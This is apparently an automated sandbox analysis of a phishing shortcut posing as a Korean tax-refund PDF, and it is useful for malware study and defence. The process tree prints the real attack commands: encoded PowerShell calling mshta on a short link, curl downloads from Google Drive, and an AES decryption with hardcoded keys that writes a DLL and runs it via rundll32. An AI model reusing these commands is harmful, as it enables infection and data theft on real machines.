568b218e978409b5afe37f768a7b0d5fdde23f27f5ed2f39dde17f238e85e6a9

Analysis

max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/07/2026, 12:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
국세 환급금 지급 안내.pdf.lnk
Size 2KB
Sample260709-pjf7hsbv4v
SHA256 568b218e978409b5afe37f768a7b0d5fdde23f27f5ed2f39dde17f238e85e6a9
MD5 77dbb247a11521e16b24b76399f14b6f
SHA1 3aee1ea921bd6dd6a5aa2cf105b21257b8519727
SHA512 765cb63eb94eb29715d95a2e5c6d7f3d089fc24861c70b174ff5dc796404bc9d97850e908bcbd44d558f746eef4bad3682372e55925691f667b70f39d17bc92c
TLSH
T1AE5110161EFA026AF373DB7257FAB6556537F824AB0349AC41C102401D21A14F87AFAF
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution spyware trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://link24.kr/3NL6KyG

Signatures

Badlisted process makes network request 21 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2600	mshta.exe
3	2600	mshta.exe
4	2600	mshta.exe
5	2600	mshta.exe
7	2600	mshta.exe
8	2600	mshta.exe
9	2600	mshta.exe
10	2600	mshta.exe
11	2600	mshta.exe
12	2600	mshta.exe
13	2600	mshta.exe
14	2600	mshta.exe
15	2600	mshta.exe
16	2600	mshta.exe
17	2600	mshta.exe
18	2600	mshta.exe
19	2600	mshta.exe
20	2600	mshta.exe
21	2600	mshta.exe
70	5028	rundll32.exe
77	5028	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
5028	rundll32.exe

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
22	drive.google.com
23	drive.google.com
27	drive.google.com
70	drive.google.com
1	drive.google.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4892	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2364	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3580	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134280734135978775"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2049790993-2338060321-149346055-1000\{F64094A4-7F4A-48B0-8B66-F0F825BC4474}	msedge.exe

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 5c0000000100000004000000000800000f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5540	powershell.exe
5540	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
828	msedge.exe
828	msedge.exe
828	msedge.exe
828	msedge.exe
828	msedge.exe
828	msedge.exe
828	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5540	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
828	msedge.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 5540	2956	cmd.exe	89
PID 5540 wrote to memory of 2600	5540	powershell.exe	90
PID 2600 wrote to memory of 264	2600	mshta.exe	92
PID 2600 wrote to memory of 404	2600	mshta.exe	93
PID 404 wrote to memory of 4892	404	cmd.exe	96
PID 264 wrote to memory of 1856	264	cmd.exe	97
PID 2600 wrote to memory of 5772	2600	mshta.exe	98
PID 5772 wrote to memory of 3112	5772	cmd.exe	100
PID 2600 wrote to memory of 5784	2600	mshta.exe	101
PID 5784 wrote to memory of 6080	5784	cmd.exe	103
PID 264 wrote to memory of 828	264	cmd.exe	104
PID 828 wrote to memory of 3036	828	msedge.exe	105
PID 828 wrote to memory of 3580	828	msedge.exe	106
PID 828 wrote to memory of 764	828	msedge.exe	107
PID 828 wrote to memory of 764	828	msedge.exe	107
PID 828 wrote to memory of 764	828	msedge.exe	107
PID 828 wrote to memory of 2040	828	msedge.exe	108
PID 828 wrote to memory of 2040	828	msedge.exe	108
PID 828 wrote to memory of 6140	828	msedge.exe	110
PID 828 wrote to memory of 6140	828	msedge.exe	110
PID 828 wrote to memory of 6140	828	msedge.exe	110
PID 828 wrote to memory of 1892	828	msedge.exe	111
PID 828 wrote to memory of 1892	828	msedge.exe	111
PID 828 wrote to memory of 1892	828	msedge.exe	111
PID 828 wrote to memory of 4784	828	msedge.exe	112
PID 828 wrote to memory of 4784	828	msedge.exe	112
PID 828 wrote to memory of 4784	828	msedge.exe	112
PID 828 wrote to memory of 2872	828	msedge.exe	113
PID 828 wrote to memory of 2872	828	msedge.exe	113
PID 828 wrote to memory of 2872	828	msedge.exe	113
PID 828 wrote to memory of 1604	828	msedge.exe	114
PID 828 wrote to memory of 1604	828	msedge.exe	114
PID 828 wrote to memory of 1604	828	msedge.exe	114
PID 828 wrote to memory of 5436	828	msedge.exe	115
PID 828 wrote to memory of 5436	828	msedge.exe	115
PID 828 wrote to memory of 5436	828	msedge.exe	115
PID 828 wrote to memory of 3468	828	msedge.exe	116
PID 828 wrote to memory of 3468	828	msedge.exe	116
PID 828 wrote to memory of 2964	828	msedge.exe	118
PID 828 wrote to memory of 2964	828	msedge.exe	118
PID 828 wrote to memory of 3824	828	msedge.exe	119
PID 828 wrote to memory of 3824	828	msedge.exe	119
PID 828 wrote to memory of 3528	828	msedge.exe	121
PID 828 wrote to memory of 2984	828	msedge.exe	122
PID 828 wrote to memory of 2984	828	msedge.exe	122
PID 5784 wrote to memory of 2364	5784	cmd.exe	123
PID 5784 wrote to memory of 5028	5784	cmd.exe	126
PID 828 wrote to memory of 3808	828	msedge.exe	127
PID 828 wrote to memory of 3808	828	msedge.exe	127
PID 828 wrote to memory of 6040	828	msedge.exe	129
PID 828 wrote to memory of 4892	828	msedge.exe	130
PID 828 wrote to memory of 2984	828	msedge.exe	131
PID 828 wrote to memory of 5972	828	msedge.exe	132
PID 828 wrote to memory of 5972	828	msedge.exe	132

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\국세 환급금 지급 안내.pdf.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIABtAHMAYABoAHQAYQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAiAGgAdAB0AHAAcwA6AC8ALwBsAGkAbgBrADIANAAuAGsAcgAvADMATgBMADYASwB5AEcAIgA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5540
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/3NL6KyG
    3⤵
    - Badlisted process makes network request
    - Modifies system certificate store
    - Suspicious use of WriteProcessMemory
    PID:2600
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o temp.pdf "https://drive.google.com/uc?export=download&id=1YtDdLM3U6q__ZiX7fSidoktBrWbC2OsK" && temp.pdf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:264
    - - C:\Windows\system32\curl.exe
        
        curl -L -o temp.pdf "https://drive.google.com/uc?export=download&id=1YtDdLM3U6q__ZiX7fSidoktBrWbC2OsK"
        5⤵
        
        PID:1856
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\temp.pdf
        5⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:828
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7fff0484c188,0x7fff0484c194,0x7fff0484c1a0
        6⤵
        
        PID:3036
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1880,i,596725693276168553,3114731867007841338,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=2968 /prefetch:11
        6⤵
        System Time Discovery
        
        PID:3580
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1660,i,15251302762814930890,13655589254325729679,262144 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:2
        6⤵
        
        PID:764
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2196,i,1199853889590752952,6243942293271452109,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=2984 /prefetch:13
        6⤵
        
        PID:2040
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3596,i,1283553264853035183,2174217777074078453,2097152 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
        6⤵
        
        PID:6140
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3608,i,8962057365613733863,16510386421564177398,2097152 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
        6⤵
        
        PID:1892
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4264,i,2317802876825702048,490669074774026247,2097152 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:1
        6⤵
        
        PID:4784
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4284,i,7581154379523047732,17784850803063471177,2097152 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:9
        6⤵
        
        PID:2872
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5172,i,9100095274644473269,1674803858667353133,2097152 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:9
        6⤵
        
        PID:1604
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5412,i,6144890002042100544,15461660094215099208,2097152 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:15
        6⤵
        
        PID:5436
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5648,i,15050517512759626327,108381735620220854,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:14
        6⤵
        
        PID:3468
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,1209192688739196954,14436673946985472660,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:14
        6⤵
        
        PID:2964
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5868,i,14571804779804048302,2484231309082399041,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=5772 /prefetch:14
        6⤵
        
        PID:3824
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,4992107571567428114,12774227211150701955,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:14
        6⤵
        
        PID:1336
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,4992107571567428114,12774227211150701955,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:14
        6⤵
        
        PID:3528
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6648,i,17055580022419543668,5001813349152935254,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=6668 /prefetch:14
        6⤵
        
        PID:2984
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6868,i,1985021778864046802,2019752914587449089,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:14
        6⤵
        
        PID:3808
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5580,i,6899480648721281287,413821108685562719,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=7152 /prefetch:14
        6⤵
        
        PID:6040
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7160,i,7217412869898508580,12491002885128481404,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=744 /prefetch:14
        6⤵
        
        PID:4892
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7144,i,12435312445385435994,14792306589780820324,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:14
        6⤵
        
        PID:2984
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7148,i,15144273432249344182,14582392169322197496,524288 --field-trial-handle=2932,i,4525662821263162840,9977303936433248144,262144 --variations-seed-version --mojo-platform-channel-handle=7132 /prefetch:14
        6⤵
        
        PID:5972
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Suspicious use of WriteProcessMemory
      PID:404
    - - C:\Windows\system32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:4892
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5w0Mu8ePxVWI5VJ"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5772
    - - C:\Windows\system32\curl.exe
        
        curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5w0Mu8ePxVWI5VJ"
        5⤵
        
        PID:3112
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o sys.log "https://drive.google.com/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZn" && powershell -Command "[System.IO.File]::WriteAllBytes('sys.dll', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('sys.log'), 0, [System.IO.File]::ReadAllBytes('sys.log').Length))" && del sys.log && rundll32 sys.dll,n
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5784
    - - C:\Windows\system32\curl.exe
        
        curl -L -o sys.log "https://drive.google.com/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZn"
        5⤵
        
        PID:6080
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "[System.IO.File]::WriteAllBytes('sys.dll', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('sys.log'), 0, [System.IO.File]::ReadAllBytes('sys.log').Length))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2364
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 sys.dll,n
        5⤵
        Badlisted process makes network request
        Loads dropped DLL
        
        PID:5028

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3724

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4344

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 174576d263d17c1ded542f85fe22b729d39689265635c9c57a2bfd1af11bcb69
MD5 e54a3dd3758ae26f8eb9c7149476114c
SHA1 dd4159ecc029af9dd3da72970ac8bfa500a0651c
SHA512 eabda803f8f816ad2a6d57d3ce37f9c8cf72ef9a0a1ebecd6f39990ef65120d12a76e6ae5a2cb62c423511cbb36f0da6835b1dfa5907c5559c0ead5b0735873c
TLSH
T1E6D092757764A90CC9A5B0322CA7B29AA322A8300495860444E5F2A8CDB6A82567B5AE
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2cfb77611c6372588cbb86850301c7d4d2a98bc9870148a0233cb9ff0ba848ae
MD5 30dd1402eab1adcd1b7a879da690d903
SHA1 5ad2617a2f54fb4647f217e450aa852cfab95912
